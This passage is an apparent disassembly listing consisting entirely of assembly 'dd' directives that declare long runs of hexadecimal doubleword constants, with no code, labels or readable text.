		dd 0A104128Ch, 0F814D743h, 0EC597707h, 0D4A4F553h, 0B7B2A8B0h
		dd 0E87E73F2h, 82EA3674h, 29833C40h, 0C027F99Dh, 1D36BD55h
		dd 232C73Eh, 0AA77B2CDh, 0F4C8C073h, 7B6A260Dh,	78371085h
		dd 9C72C90Fh, 0A4B54967h, 40815CF0h, 3D706DC0h,	2867BD05h
		dd 0D325882Ah, 1FDF062Ch, 524026A9h, 5F8710D3h,	541C4CB5h
		dd 33066BE9h, 30538819h, 0BF41455Ah, 240DA73Ah,	4C10D10Fh
		dd 99880E61h, 164E6EA7h, 220CE49Bh, 0F8D97FA6h,	94D1A04Bh
		dd 0EE53730Bh, 2DDC800Eh, 0E433F70Fh, 78D5E8DDh, 0D8F2E4Dh
		dd 97E989CDh, 2886FBE2h, 0AD00064Fh, 0E279592Dh, 4B4EE978h
		dd 90B569Ah, 9348C92Ch,	717AB450h, 0E478E9h, 1A206CBAh
		dd 1F2FB830h, 0C846A69Ah, 5502EFFBh, 6221CC68h,	0E5F502BFh
		dd 0EA590449h, 404F2AD8h, 8C7BBB10h, 0EC145A62h, 31660527h
		dd 47D53CCh, 42484BFh, 0FCEB019Bh, 3F9FB1FFh, 0C0047B0Ah
		dd 5F66C18Ah, 3A472DEEh, 0E90C5CCEh, 0C265952Ch, 19AC1C00h
		dd 8BFA0152h, 5A3BB80Ah, 0AEA144E2h, 0FEC91ECDh, 4140297Ch
		dd 982A56A8h, 331FD8B6h, 0D6D61B57h, 791067A9h,	50531D46h
		dd 4A8AB9D5h, 0C3D2AF1Fh, 98C11020h, 62A5023Ah,	0C4E0830Fh
		dd 20F68AABh, 87885D8Ch, 20E841B3h, 511E8D22h, 0AAD2037Dh
		dd 4AEB0453h, 27C7D701h, 0E4693310h, 8A00ED91h,	83541678h
		dd 92DF4C0h, 75103A5Eh,	5D00F758h, 4840183Fh, 50C26E05h
		dd 9F88D3D5h, 2ACE0FE8h, 0CEB5E1Dh, 7E36EE81h, 0A9426CFBh
		dd 0F2136CF5h, 0B9AF4F64h, 0D828C0FDh, 94501668h, 0BEB3435Bh
		dd 945B183Eh, 800D477Ch, 0E9DBF62Dh, 1680BD20h,	0B8E18058h
		dd 0C98A819Ch, 9F18AC14h, 0B07FB51Eh, 28CB395Ch, 0E958D4C1h
		dd 0F013225Ah, 0A2E71AFh, 0F7D78102h, 1BC3727Fh, 2513E13Bh
		dd 0F6387F0Fh, 52C6288Ah, 27AE12C0h, 0B100AA94h, 73F396DCh
		dd 5BBB489h, 88215AD7h,	0F124E9E7h, 76A7C0A4h, 0C71E0812h
		dd 52E1B300h, 60FE03B2h, 0C28004CAh, 0D34C203Dh, 9F854A42h
		dd 65108CF2h, 85680BA5h, 27A45B79h, 2E5ECDB9h, 0DA8981B3h
		dd 0F1C34674h, 0A55510D0h, 48E91569h, 0AFF64A8Eh, 2AC4D95Ah
		dd 12044A13h, 0ED8815F2h, 2AA08924h, 7DE199D0h,	5159062Eh
		dd 64EF187h, 0F84BE913h, 0B197E824h, 0B8665047h, 1D3BF57Ah
		dd 300F8F2Bh, 900F01ADh, 0F0D06C18h, 7D6C810h, 2855C380h
		dd 0B7EBAE3Eh, 82A99EC4h, 0A89E3497h, 9CFF2E7Ch, 66C36101h
		dd 0BF8D1CF7h, 0E9547B07h, 82DFF25Ah, 0D65B8AA9h, 0B3AE8815h
		dd 767040Eh, 51452CD8h,	0FED364C0h, 313090C3h, 0E3999C91h
		dd 0C710602Ah, 39D8E75Bh, 92643F7h, 725CF28Bh, 2949B783h
		dd 0FCCAB064h, 9735BD68h, 9A82F590h, 37036499h,	0DF292F39h
		dd 54BBD274h, 0CC2C2222h, 0CB39358h, 3135A669h,	8B4065BFh
		dd 702052E9h, 0B309FB0Dh, 105613Ah, 298048E0h, 0A19258C7h
		dd 4E39AB5Ch, 4C020C91h, 0A3A93069h, 0F090EEAh,	0C20145BEh
		dd 0BD24ADA5h, 0AC7D133Ah, 99B41F34h, 83E040C5h, 873D9690h
		dd 981716D7h, 0D6DE12B9h, 0F2D42BEh, 63EA498Dh,	0C7B71877h
		dd 1940827Fh, 0E82F6826h, 0F2D91864h, 5C4BCA31h, 530AA4ECh
		dd 2F3CE082h, 0DDDA5ED9h, 25CF7F20h, 70F90468h,	0BAA71EBh
		dd 55D60558h, 0FF89DF5Ah, 0AC716DDh, 0EE68F9F7h, 416E087Fh
		dd 71E1BD01h, 0D02B57B4h, 332026E9h, 84C4495Eh,	0DE2B04AAh
		dd 0A26CAE2Ah, 61649F87h, 0A9B3C0BFh, 9594F66h,	5FBFC5h
		dd 0E925EAC4h, 81FFB25Ah, 69E8BACh, 0A1B4D3D6h,	3ED93AA0h
		dd 0A8C695F0h, 0BD7CB88Ch, 26283898h, 2D1EECB5h, 9B1884E4h
		dd 0C69DDD67h, 0B5FE6007h, 0E91C5721h, 65A3395Bh, 81D98549h
		dd 0C477225Eh, 27C1B951h, 5070355Bh, 20B3B279h,	0ED9080FDh
		dd 58B81D4Eh, 0BBA2124Eh, 4FEF2613h, 3359F61Eh,	540BA7D7h
		dd 205097Fh, 61A68E59h,	0D331DF38h, 0A32B78D7h,	6C1C1086h
		dd 0E500B5D0h, 0D1283AB1h, 0B038505Ah, 45F04B8Ah, 0D9FF4145h
		dd 18537B31h, 0C24B0DF9h, 56E4BBBBh, 894D6BECh,	90DA3E07h
		dd 914F96A9h, 0EC80B688h, 0C9C9CB0Bh, 1FABF851h, 4907E8C0h
		dd 0FD5E7A34h, 7228E968h, 2FB63A20h, 0FC86851h,	0CA4A8959h
		dd 2989F9BDh, 2D891EFDh, 53E22BE9h, 0D5E09C1h, 0EF5C824Ah
		dd 18A5E9A0h, 4D1319B7h, 0C38100EEh, 0F0BD0B5h,	82D989BAh
		dd 0FF59CA87h, 85487F19h, 0DC880F61h, 99841BA2h, 0F48002E2h
		dd 45617163h, 4A264631h, 0C43C2DA7h, 3F419EBh, 4E6C2C99h
		dd 5B9FC58Ch, 899796B0h, 32F1620Fh, 50C5F6ACh, 0AAE0C2BFh
		dd 6AE92F12h, 0EFFEABF4h, 0B62A2CD9h, 8EF110E3h, 4831AD17h
		dd 0AC3E54B3h, 6697F07Bh, 0C602E0C2h, 42567BB9h, 406C22BEh
		dd 55847437h, 0A3500C44h, 0AA319F68h, 514F7455h, 770EE78Fh
		dd 9621A4BAh, 15E390Bh,	38B8BDCCh, 5E8645F5h, 72E354F5h
		dd 945DEA34h, 0A8EBC1EAh, 0F320800Ch, 820F3CFAh, 34235D8Dh
		dd 3E3C116h, 0C1789E1h,	5CFE1540h, 0DEF66C7Fh, 5A475B48h
		dd 9E5074B3h, 92B841EDh, 0A685DA4Eh, 8CF126ADh,	0DC8105B6h
		dd 0DD3A44B8h, 80D23AE8h, 54CEE9A0h, 7F118A7Fh,	0C200DD4Ah
		dd 3F06C205h, 605FF423h, 34C18399h, 7217031Dh, 368ACF31h
		dd 96DFF71Ch, 7B1106D7h, 5897A22Ch, 9FC3B244h, 56EB1351h
		dd 2AAA4226h, 52E5BD00h, 0BD0950B6h, 85572C16h,	4CD51D2Ah
		dd 554729E9h, 7A555177h, 8E5E81B8h, 29359AFBh, 0DC102678h
		dd 5E3358E5h, 0A9E488A2h, 6457000Fh, 0E5815BFAh, 342202D6h
		dd 2673E96Eh, 4ABE4F54h, 4252F80Bh, 210F6D6h, 0C6A798C9h
		dd 4EE5E15Dh, 0AA5906E6h, 0C5D10F2Dh, 1208A0B5h, 0FA761EE9h
		dd 0D2A34C67h, 80C54ABAh, 8305DCF8h, 12947F5Ch,	0C0B548ABh
		dd 0D62FEBF9h, 56132834h, 4C039912h, 0ECD76833h, 3A3FDA98h
		dd 193854Eh, 0E420BA7Ch, 0B29477E9h, 20C57712h,	5C2D1AE6h
		dd 20A4D2FEh, 351675CCh
		dd 0EC1E2E44h, 0F6F6B3AAh, 9722D25Eh, 0D89BD789h, 8872083h
		dd 449315BCh, 4D485249h, 0D66250F9h, 1E379BCh, 0BF9EE9C3h
		dd 0E3D0493Ah, 473897Fh, 0BE00B320h, 4D0B25E1h,	65F68100h
		dd 0F76A2854h, 2A009FD6h, 883F44EEh, 3D0C3B60h,	95EB9B32h
		dd 0D07489C2h, 8802DDEEh, 0D05BE9D4h, 7A9B951Ch, 7DD7420h
		dd 0E3C0CBFEh, 0EDCAA505h, 7DEE0E34h, 0D5D8094Ch, 0E5C1AA01h
		dd 0E7B0F304h, 3376FE51h, 6A58CD06h, 0F1835DBh,	40376B31h
		dd 0EEB6C583h, 0F4C148B2h, 3F680083h, 7B1A9D0Ah, 5405C704h
		dd 792000BAh, 814B671Ah, 26CD70CBh, 4E162Bh, 773B7DDFh
		dd 1C4C5F09h, 0C24B8B06h, 916D5B7h, 5C079220h, 795A2601h
		dd 11E130ECh, 0C07FAB41h, 0CDC8A059h, 0ED4E4A90h, 24E9DDB4h
		dd 8E2ED916h, 0CF655AD7h, 0F1CE8053h, 7254A55h,	100DE459h
		dd 48376F87h, 12FA3B7Dh, 9FB06D4h, 382A4144h, 8418168Fh
		dd 0EB8EAEFDh, 0B57EBC4Bh, 2B7B1C01h, 0B5400A41h, 8C77D35h
		dd 0ED3CE97Ah, 805EFE25h, 6854AECFh, 0F7EE4F59h, 1F24BC09h
		dd 0F322803Fh, 279D8E85h, 0BB7265E9h, 208981B5h, 0E5CA720Eh
		dd 5A8FB227h, 0E459BA7Ch, 9C2E454h, 0C2FEFEC3h,	8454191Bh
		dd 15D8514Bh, 0E84FD23Fh, 6873F270h, 58ECC038h,	1D74FF08h
		dd 8E58E628h, 0CECF87C6h, 8B7EE6Eh, 5A0ED7BAh, 0E42DE556h
		dd 2F7914F3h, 0CD92D42Eh, 0B516A0FBh, 52034BE4h, 692FCDCCh
		dd 545CF0E6h, 0B1372A2Ch, 2C5FB3D6h, 597F546Dh,	8BD6695Dh
		dd 58A21FAh, 62DD266Bh,	0BA8A0BE8h, 68C60C6Ch, 5AAB753h
		dd 4510B95h, 2582CE8Dh,	0F32EEB3Dh, 6CC8957Dh, 0E4B52DDFh
		dd 5304525Ch, 9CFE2F6Bh, 0C158C650h, 0F1F05F4h,	9BD3DF8Ah
		dd 9284B84Eh, 2B55C4BCh, 0F8CBFCAh, 7C6E12B1h, 6F80B6Dh
		dd 494B2000h, 87902644h, 0A812E63Bh, 980BD528h,	0F025414Fh
		dd 34A4B537h, 88C1D237h, 0D158BD41h, 10E572D3h,	0B60192E1h
		dd 66F520FAh, 0D5F8805Ah, 0FE28E780h, 78C7EACFh, 3FF738D4h
		dd 885BFD00h, 0E5E8E9EEh, 692D9B4h, 2D96CDB2h, 96603BEDh
		dd 7E5B66E5h, 0CDCF4B13h, 0C0F26AE7h, 783A445Fh, 29680F80h
		dd 2059946Fh, 61B772ACh, 0EC543040h, 0F40D1C0h,	0FBBE2E8Bh
		dd 0A2A95042h, 8BA8A983h, 802136Dh, 1266AA1h, 0C618A5F5h
		dd 8A3F9F99h, 9D681387h, 0D5BF8FD4h, 691A09CDh,	66BF4C40h
		dd 185831F0h, 0B15218D8h, 0A6453AC9h, 5A429895h, 550C4AA7h
		dd 0B3622FA8h, 0AEBDFCD1h, 0C2A5FBB4h, 659AA9CCh, 0EE57B596h
		dd 0DC5DB422h, 5AE9E141h, 0BA62809Eh, 519A62EEh, 81DA01F7h
		dd 0EB4A4DCAh, 0AB52201Dh, 5561F45Eh, 2F0AF85Bh, 0D50B1A59h
		dd 3E5F4DC2h, 0F9E9244Fh, 915F9380h, 3BA30F81h,	0A1C63D49h
		dd 0BBC180D7h, 81BB856Ah, 4314451h, 90D3950Bh, 0A471AA22h
		dd 633B00E3h, 0D32D21F7h, 1F023965h, 0BDFD6C35h, 7897502h
		dd 0A6424312h, 954E1C77h, 51AD2B80h, 8B7852B8h,	240B969Fh
		dd 853E3AE9h, 8052E2D1h, 6E06BB7Ch, 0D3E6454Bh,	0E91E884Bh
		dd 719F21EAh, 376A02D2h, 47244818h, 1C05F984h, 3602D5E9h
		dd 852858E1h, 0B76751FCh, 0E9EAB170h, 0B8D84DB7h, 3084F348h
		dd 90445647h, 833737BEh, 6770589Bh, 2FF9794Ah, 1A8A889Eh
		dd 7F850F02h, 0D5034AA0h, 0CF10816Ah, 882DF28Bh, 17551EBh
		dd 34682CE7h, 2808D07Bh, 0DF90A590h, 801F9820h,	244233D1h
		dd 8756405h, 0AC0785F8h, 4024072Ch, 489687BAh, 0E5804B02h
		dd 32C05DDBh, 0C082273Ch, 2641729Bh, 8717699Eh,	695A5F08h
		dd 0C68E20F5h, 0B1361C43h, 6DB202A2h, 0E4F417A2h, 9CF83B45h
		dd 4D12AD3Bh, 0BCC4473h, 4081664h, 555A0CF7h, 140F81B4h
		dd 0C540744Ch, 5E998E63h, 5A67B424h, 0EDD353C0h, 5AE058E9h
		dd 478F8280h, 0FD709520h, 0A22BCA8h, 0C1120CE4h, 980005E2h
		dd 0D14C33E1h, 0CE82E589h, 0F886E9CFh, 0E890E676h, 8D0A424Ch
		dd 140C70C2h, 2912CA6Fh, 0A138EB12h, 0E9D819B0h, 3BC0D38Dh
		dd 95B2B300h, 0E0B9F280h, 602FB9D5h, 28E9E830h,	7609629Fh
		dd 1E3F407Ah, 312717F6h, 7F7196D7h, 0E8B594F5h,	192718F5h
		dd 4803BE56h, 31521C18h, 12E0E9F7h, 0F6AA336Eh,	8DC109D5h
		dd 42C30148h, 2B3C6E12h, 817529EAh, 0C63B050h, 456A3177h
		dd 0D71DE9CEh, 5AD00057h, 68165266h, 82CC75DAh,	0E3174B2Ah
		dd 60AC274Ah, 29E90BCAh, 1CE87D90h, 0CE8D00BEh,	435DEB21h
		dd 458EEFEh, 7F65C4DFh,	2BE0244h, 55646866h, 23E9C213h
		dd 0EF51849Ch, 0C2FA1D10h, 0AFFCA1D0h, 5B2D4000h, 0B68A034h
		dd 948E0F48h, 60D86C11h, 9A62D564h, 0B8FDF65h, 2F3E4A5Eh
		dd 4549C8E6h, 29DA2D31h, 515E5D6h, 0BB90776h, 0FD398051h
		dd 0F7812900h, 2D134CFEh, 5BBC2914h, 0DD908514h, 0D02AB5A7h
		dd 0F6F186C2h, 4408D66Ah, 8F5D7E3Eh, 92675E5Bh,	46EB25C2h
		dd 88BABC91h, 0A828CD02h, 5611C61h, 0F720596Eh,	2DF82801h
		dd 26E91A07h, 0EC60C12Ch, 0BB83D4ABh, 19942DD9h, 29662D90h
		dd 0A50A1CB1h, 0AD9FC06Eh, 0C5D8310Ah, 2D158F08h, 0DD12340Ch
		dd 94D858B5h, 505E0259h, 1AF2585Dh, 2D28C19Eh, 0D249DE0Ch
		dd 82A5D42Bh, 8EAA1940h, 4A4616BDh, 0E9437834h,	2F0E9B4Fh
		dd 9338C659h, 2B5D4546h, 4F6C2EA1h, 2C54AAA6h, 0FE4C2987h
		dd 5AE40580h, 8DA01023h, 603D4189h, 7341885Bh, 7FF4F5D1h
		dd 65C2B618h, 0F7905615h, 2CE94F6Dh, 0E96998D6h, 2D059h
		dd 0F3FEC80h, 95DF1D87h, 9123E3E6h, 0D3B501EEh,	85C9ED80h
		dd 0E7E98C06h, 0AD2903B1h, 388F5AA2h, 4C2DA908h, 22F138E4h
		dd 0E94C8C70h, 8AE34470h, 3853EB2Eh, 310DC302h,	833C4019h
		dd 0E237C009h, 166C430Ch, 0C5DEE92Ah, 5EFA6805h, 9F0455B6h
		dd 0C8129BB8h, 0EB0905CCh, 28466919h, 22270751h, 54355271h
		dd 2FF49B3h, 0FDBDE84Eh, 0F1BE0EA4h, 42F62BB8h,	0E0608925h
		dd 3EFA6659h, 0FB5D767Ah, 2C5D3B0Dh, 7BA69858h,	278FDC2Dh
		dd 5C4BF279h, 0C7815858h, 0C28A599Dh, 2B0B91AEh, 0AAED382h
		dd 2327A48h, 0F36A1FB8h, 7EC8097Dh, 0E245CF8Bh,	8576A433h
		dd 266F0701h, 2C82830Fh, 5F2C202Eh, 574FEA2Bh, 0ADBAD80h
		dd 10444E2Fh, 8D4E0728h, 682C3032h, 3F763224h, 40E1EA14h
		dd 6E25E908h, 4E7D3DFh,	9114D259h, 62CFDCF9h, 3784012Ch
		dd 0F0293588h, 996EE1F4h, 6F516268h, 41255905h,	9DF91D8h
		dd 0BAC7E95Bh, 72D1D3E8h, 4305DC2Dh, 60FE04AAh,	0EC932F6Ch
		dd 0B8C618FEh, 1296ED6Dh, 0EF32883Fh, 4A081550h, 0D72A59F8h
		dd 20ADB0EDh, 0CEF7E416h, 0ECD6095Dh, 6855091Ah, 0EDC621D7h
		dd 1CC4D64Ah, 6602EAB3h, 0DCF3805Ah, 6A689562h,	7AA038B8h
		dd 0EC82DD88h, 0C201287Ah, 2E7001BDh, 6E962D5h,	0D1326Ch
		dd 11136640h, 25762225h, 0AE6168FAh, 7609CA37h,	3D9AFB71h
		dd 5A31EE55h, 0CBACE48Dh, 2A34D10Fh, 0A15D6B36h, 5F5868ECh
		dd 0E9BCDC3Eh, 9C00C04Bh, 0C579DD35h, 0EB810037h, 6DD161F9h
		dd 0CAF1C329h, 5CD2088Bh, 5BC4C5BEh, 2289B4A8h,	9244AD0h
		dd 0CE014AEEh, 424959AFh, 1CF8F540h, 5C6B4F29h,	7F8BC1DBh
		dd 304F62AFh, 4ABFDCE0h, 7685D5A3h, 2F98A16Bh, 0CC2C98DEh
		dd 0D473A7DFh, 0D75C21B2h, 0D9680F81h, 2CF75829h, 1DF5CB41h
		dd 9054442Fh, 8E2FD077h, 17CA37B4h, 5040FC6Eh, 9402F33Bh
		dd 0E8D4924Dh, 17295EFAh, 58E63E20h, 0F03DA10Dh, 5E0F2DB3h
		dd 8BD001E9h, 0A9717C20h
		dd 2031F2F4h, 5A3B3C47h, 0C2359757h, 5A543298h,	0C4F6B258h
		dd 8B0EBAEFh, 0A5ABF9F3h, 90F438F8h, 552D6864h,	185A2BA4h
		dd 22915B09h, 0C627D150h, 0CAD2F129h, 7520603Bh, 0E4DA831Bh
		dd 84828FE4h, 65BCB1D5h, 35F7E934h, 0B0643DBh, 0AF8E3F76h
		dd 0FF44FB12h, 0CFAE3806h, 7FC55821h, 202A53A4h, 0CF2DE471h
		dd 0E7907408h, 0AE96C556h, 40AF02D8h, 0CC4B341Fh, 0CD68A403h
		dd 0BC12767h, 0DFC4E8Ah, 0D72276EBh, 0D7DD5F97h, 0ECD8DD24h
		dd 479595E0h, 0B3680552h, 833E5419h, 70103900h,	0EFCBBA09h
		dd 0E9F68F24h, 69AE1F13h, 0D5A42F50h, 2D3ABED0h, 2BEE9D71h
		dd 9DFD3CDh, 18D51B79h,	97E1F633h, 73CCF541h, 0E948254h
		dd 4640D5C6h, 0DF0320F9h, 0F7D1876Dh, 180860DAh, 2E191261h
		dd 5F3442B5h, 2C2DBE47h, 4C015424h, 3C607561h, 360D72FFh
		dd 2F0E0F4Ch, 4B32CEE4h, 0ECBC858Eh, 91050732h,	35D00742h
		dd 8F25BCh, 4AF72D59h, 3DE9536Dh, 89048694h, 39F85DE8h
		dd 2B49DA06h, 0F8950E62h, 0B4526B47h, 23345429h, 0C7102D9Eh
		dd 4A20FC4Fh, 5F2582ADh, 85A68371h, 5709A902h, 3340566Ah
		dd 0DEBBEA52h, 0EF9EC0DCh, 210BF32h, 841D301h, 27141CA0h
		dd 7161BBE9h, 0F4E63A57h, 0AD9896D8h, 0C8895E81h, 83F3FBE4h
		dd 0C077D4A7h, 56189EEAh, 0CB42542Eh, 50382F03h, 66C60407h
		dd 0F73346Ah, 5530E48Bh, 28A0524Bh, 34C8077Bh, 238E2BDh
		dd 7010E907h, 0D8212DC1h, 0FF657842h, 0C38E622Fh, 5C09D402h
		dd 0FE7ADDFCh, 0A1E85216h, 59C0A6CAh, 9674B6E5h, 4E6DB072h
		dd 2539B7CDh, 5A4BA210h, 30B90068h, 1F00413Fh, 187F181h
		dd 9621228Dh, 86C71FC9h, 0D82B6337h, 0A56FF038h, 0DCD8892Fh
		dd 0B4BB179Bh, 4E6ADED5h, 0DB0BD606h, 0E9758242h, 80866840h
		dd 281319F2h, 78D67AD0h, 0B652C09Dh, 0FCF788C7h, 0F3C4EE9h
		dd 0D2055E40h, 0F203B04Ah, 0B5F8316h, 95ED8F00h, 2E68C314h
		dd 2068D501h, 9E92508h,	0ECB53570h, 0A7DC6A9Dh,	13532FDDh
		dd 33F39034h, 390EA327h, 0E3A9D2ABh, 0F15084D5h, 0D527A7E9h
		dd 0D7229FFEh, 4BAB5295h, 3DFCB152h, 13BA86C7h,	84A5BD0Ah
		dd 0EC0595C7h, 67E9C384h, 25F37615h, 2A646D16h,	962FBE3Fh
		dd 4B01366Ah, 530A7C9Bh, 2C950230h, 1A01C1Dh, 0E17E41F6h
		dd 6824942Ah, 708F2FC1h, 5E0C083h, 54F56006h, 5E088B2Dh
		dd 0C407A43h, 6282C56Ah, 0E261D5B2h, 0F9F5EC5Bh, 0CFD6F2F7h
		dd 0E9165552h, 588D3754h, 0CCC5801Ch, 3049F5DEh, 2DE3D4E8h
		dd 565F9FE0h, 0B8B6B6EEh, 88806527h, 0E6287D29h, 8DC759h
		dd 451368B9h, 0F8C80174h, 5603976Fh, 8AB9C531h,	0D3E97CE7h
		dd 0D25E5B21h, 4A96FF35h, 44FA9035h, 6F4FA769h,	0F5609FF5h
		dd 0CEF5081h, 0BFADE2E9h, 94D2AF22h, 83D9C40Bh,	7107F11Ch
		dd 0FC963438h, 1091D45Bh, 8000967Fh, 5150F5E7h,	0B016C5B1h
		dd 51C306Fh, 0B58C7CEh,	1AA5F2F8h, 34E5CDE9h, 2DE9E077h
		dd 6F330D32h, 3F2C01D6h, 98D24EE2h, 9D4E45ADh, 2568D4C8h
		dd 0ED79563Bh, 0CC1A5180h, 1D33501h, 0F7AAE31h,	818C458Bh
		dd 49D12D36h, 83EC04E7h, 0BD975B20h, 137A8CE0h,	0C7E20380h
		dd 0E5185A25h, 0BD0A2DD8h, 0E01E6827h, 8029592Eh, 3732E8BBh
		dd 0A9F09A0Bh, 597FABAAh, 916BC2FAh, 3023B100h,	0C05A0BF1h
		dd 0A58405E1h, 5C2DAFA9h, 24FAF7h, 880FDDF7h, 7CBCD125h
		dd 6EFEF22Fh, 20A1F706h, 8E88315Ch, 0DCB1F633h,	93E58FEh
		dd 3353AEF1h, 7DD03BBEh, 0F2D20497h, 0E0F1F113h, 0EABA896Eh
		dd 5647590h, 27D1FE97h,	6560EBD1h, 6B0F0BC7h, 0EAD75017h
		dd 0B94955C7h, 80127A63h, 30C45BF2h, 0EF0A196Dh, 7638704h
		dd 0BB781115h, 87936004h, 0AC1FE912h, 0ACD3C0E9h, 0F350109Ah
		dd 57535916h, 7E4CA95Bh, 5FC72CFFh, 1D1F26F7h, 0E9C03E74h
		dd 0DD9E2378h, 4F44D246h, 2169A69Ch, 65290911h,	34F4B0F5h
		dd 6225964Ah, 209702Bh,	7F0D09B0h, 58A4D820h, 4271218Dh
		dd 10884A48h, 0BD0285A0h, 4EFB05F4h, 755F76C0h,	0FA0A2528h
		dd 3E2AF480h, 0F8129E2Fh, 9F80B574h, 85020879h,	4B9D2148h
		dd 2737C2F0h, 81D24253h, 20E0659h, 0E568435Fh, 8052D917h
		dd 15621431h, 0D1CADBE9h, 742DD030h, 0D786639Fh, 407DFA92h
		dd 0C3DE9CEAh, 1DBF66D7h, 24D6DE12h, 68C230BCh,	86F94D60h
		dd 7D640925h, 2913979Eh, 21AF5BDDh, 242E732Eh, 0F6697E0Ch
		dd 0C5880295h, 27E457DAh, 96B02973h, 95D97A95h,	0C69D9C41h
		dd 3185BB00h, 4C7C485Fh, 0F925D405h, 6834B01Fh,	182A5426h
		dd 47A05D6Bh, 0F535502Dh, 8EE92916h, 57D8E7E5h,	2FD53B18h
		dd 0B3057359h, 0C7CA09B0h, 0D3693721h, 8EE86688h, 449FD664h
		dd 0AE03209Ch, 0B76989Fh, 840F12C9h, 6AD7E108h,	53E17AB2h
		dd 0B85507ADh, 5487F5D4h, 0D771C2A9h, 2F5F53ECh, 0C5AF7A85h
		dd 1FEBC53h, 577D3147h,	7E30F749h, 4E524FE9h, 4111B301h
		dd 0CE5BF5C0h, 4B31634Ch, 63B07DD9h, 587F8104h,	41217A29h
		dd 11669612h, 7F084170h, 90B4B1C7h, 2B4BB00h, 0B8315392h
		dd 0D8310B34h, 0CC016675h, 0CF2A46A6h, 0D10B6B18h, 19D8C8C4h
		dd 0DDEE83BEh, 0BABD5081h, 8227EDDFh, 0E9D0E3D7h, 0D02A2246h
		dd 781BD83Fh, 3589114Ch, 0D0160DDCh, 29175BB9h,	16D4ADD0h
		dd 3961CF96h, 0E90C0359h, 0A06FEB27h, 2F735CD2h, 0C064F661h
		dd 6A762D6Fh, 39B02AD3h, 3C03154Eh, 0D36C6E35h,	0AA89D819h
		dd 7F6EBDE3h, 582EBD04h, 2C41C3Ah, 0AC4B48B8h, 60DE5FB4h
		dd 2F7C4D10h, 4A49715Bh, 0F1F68944h, 9DF0F96Ah,	9DF7365Eh
		dd 5642E912h, 0B4DFB883h, 0BBFE57FBh, 81555162h, 115099ADh
		dd 0ED92C1E6h, 0D0346B49h, 121C2E80h, 2BC30148h, 68227A65h
		dd 8EB282Bh, 860EE916h,	590C8725h, 0ABE0E66h, 5362033Ah
		dd 2D5E00CDh, 165564F6h, 70510CAh, 1709F92Ch, 0AFD15321h
		dd 0D074142Bh, 0A5526C96h, 0AEB961AAh, 0D1622BC4h, 4532752Dh
		dd 53A59271h, 77792597h, 961DE950h, 0CB762750h,	8D7F78Dh
		dd 9E810A8h, 680F5997h,	0C34D900Eh, 93533008h, 62470500h
		dd 3AE96620h, 8291AABFh, 0D46C4E52h, 0B8048FAh,	0B95CE470h
		dd 5506B889h, 0AB894B8Fh, 5627DF7Ch, 74E852B0h,	18B52B18h
		dd 80F39D3Bh, 0C3E05A66h, 2B4A25B0h, 0C46AE58Dh, 0AEC0BF20h
		dd 0E6602E6h, 30C7B450h, 529E00F6h, 0E2D027B2h,	57BC8650h
		dd 0D29A3DE1h, 99F49C53h, 43090BBBh, 0DC0347D1h, 5F916852h
		dd 5456F2E9h, 0ACA20113h, 2EEBC910h, 69088F45h,	42972CFBh
		dd 0C601EE98h, 0C22041C7h, 0F013D29Eh, 0D896A462h, 4162E225h
		dd 832054D3h, 8F7B1B3h,	0F60C6132h, 0E5C0C0D4h,	71B261FAh
		dd 0B70894FCh, 0D9423171h, 0FABC805Bh, 5A561C2Bh, 0B5FDFC29h
		dd 660C0ECh, 6DBF5706h,	726C171Fh, 5E70Bh, 8B194394h, 0FC214F7Bh
		dd 8F704C1h, 181117Ah, 0FF04D63Eh, 0E256D30Bh, 0DCAF7F2h
		dd 8BE8BCC0h, 16F8BA80h, 234D96Fh, 3319545Bh, 1D15FCFCh
		dd 0E3715EEEh, 0ECF38776h, 0C53CC264h, 0C200F3F2h, 2CD11A8Dh
		dd 83994FE9h, 24FE49AAh, 8910D32Fh, 0B0F14481h,	0E94FE8ADh
		dd 0C7EC643Fh, 0EF4A84F7h, 0F15E6493h, 0CE3B9545h, 9A5427D2h
		dd 0B4874078h, 43202F2Ch, 0EB420E16h, 0DE2E3258h, 645E9277h
		dd 60A808E7h, 0FD8C591Ah, 0D94DA844h, 0CF800FA9h, 0BB9A1E0Dh
		dd 0FC78C8B3h, 95EA8323h, 5A04DF56h, 0C4BF575Fh, 0ECE1501h
		dd 0B978BC4Fh
		dd 0B56E9509h, 0BA08057Fh, 74298FD1h, 9860E900h, 138EFA8h
		dd 0FEEBDB27h, 9C79693h, 0F55CFAD2h, 0AE91A56h,	0C0DDD17Eh
		dd 8AE7DA71h, 3E57990Bh, 0E0F89D79h, 0A0D3F725h, 0F67C8F4Ah
		dd 22C2B54Dh, 785A11C2h, 52E72A0h, 0E050332Fh, 0F393536Ah
		dd 2B990C82h, 724048C7h, 1B3A21E7h, 0D3DFAD17h,	1D3700D6h
		dd 6AE90CD9h, 0B8BA14Bh, 53C90F52h, 0B5C1967Fh,	0E9C1BFDBh
		dd 0B37B99B2h, 4AEB3768h, 262AE59Ah, 5B0BF4D9h,	39051E70h
		dd 4AA4C145h, 229B38B3h, 25B0DC2Dh, 2F4CB148h, 0FC106172h
		dd 66969111h, 0FA7453A0h, 0EA5AEB63h, 0A9C0CB09h, 0FA041C77h
		dd 0C99FA344h, 1A03350Fh, 7ED1182Ch, 7D0624F1h,	676C701Eh
		dd 0DD2EE589h, 0A9DF8DBBh, 47768D78h, 10F3922Dh, 0BD575A29h
		dd 0AFAC96C1h, 28BC59FBh, 9F72EDEDh, 11519104h,	7D92014Ch
		dd 0C82349Eh, 288657ACh, 5BB80575h, 0E9CF31BBh,	5A9C2437h
		dd 2FDC6DBDh, 71C3E0F1h, 77A9155Eh, 899FF83Ch, 74718658h
		dd 0E0525EE2h, 1615A0CBh, 424D3C6Fh, 88D3890Bh,	92DC5FDh
		dd 6646B30Ch, 0EC039E09h, 6CC88C68h, 8093408Eh,	0F6E6C676h
		dd 3CE1977Bh, 2C0502C3h, 56400250h, 80F717FBh, 9FB808Fh
		dd 0D50DD4EDh, 38B2AC7h, 93BB7AC4h, 39F7C6B8h, 0E9647161h
		dd 5DA92032h, 4E875A81h, 24D78853h, 4C42EA39h, 487D0F68h
		dd 0C90E5556h, 95965C0Ah, 385CFEA2h, 2743CAC6h,	0CDE0DFE9h
		dd 450A1CB8h, 52D3965h,	725FBB20h, 576A2E49h, 90554809h
		dd 9DA8E96Dh, 0AFEEC2A4h, 445DE192h, 0A5E91365h, 2DAAA4B6h
		dd 56099C0Fh, 0E41B8D5Bh, 131C52F6h, 0B8192A68h, 0D694A502h
		dd 23CAA3C4h, 222C7908h, 6CC51137h, 34E90C20h, 4E65962Ah
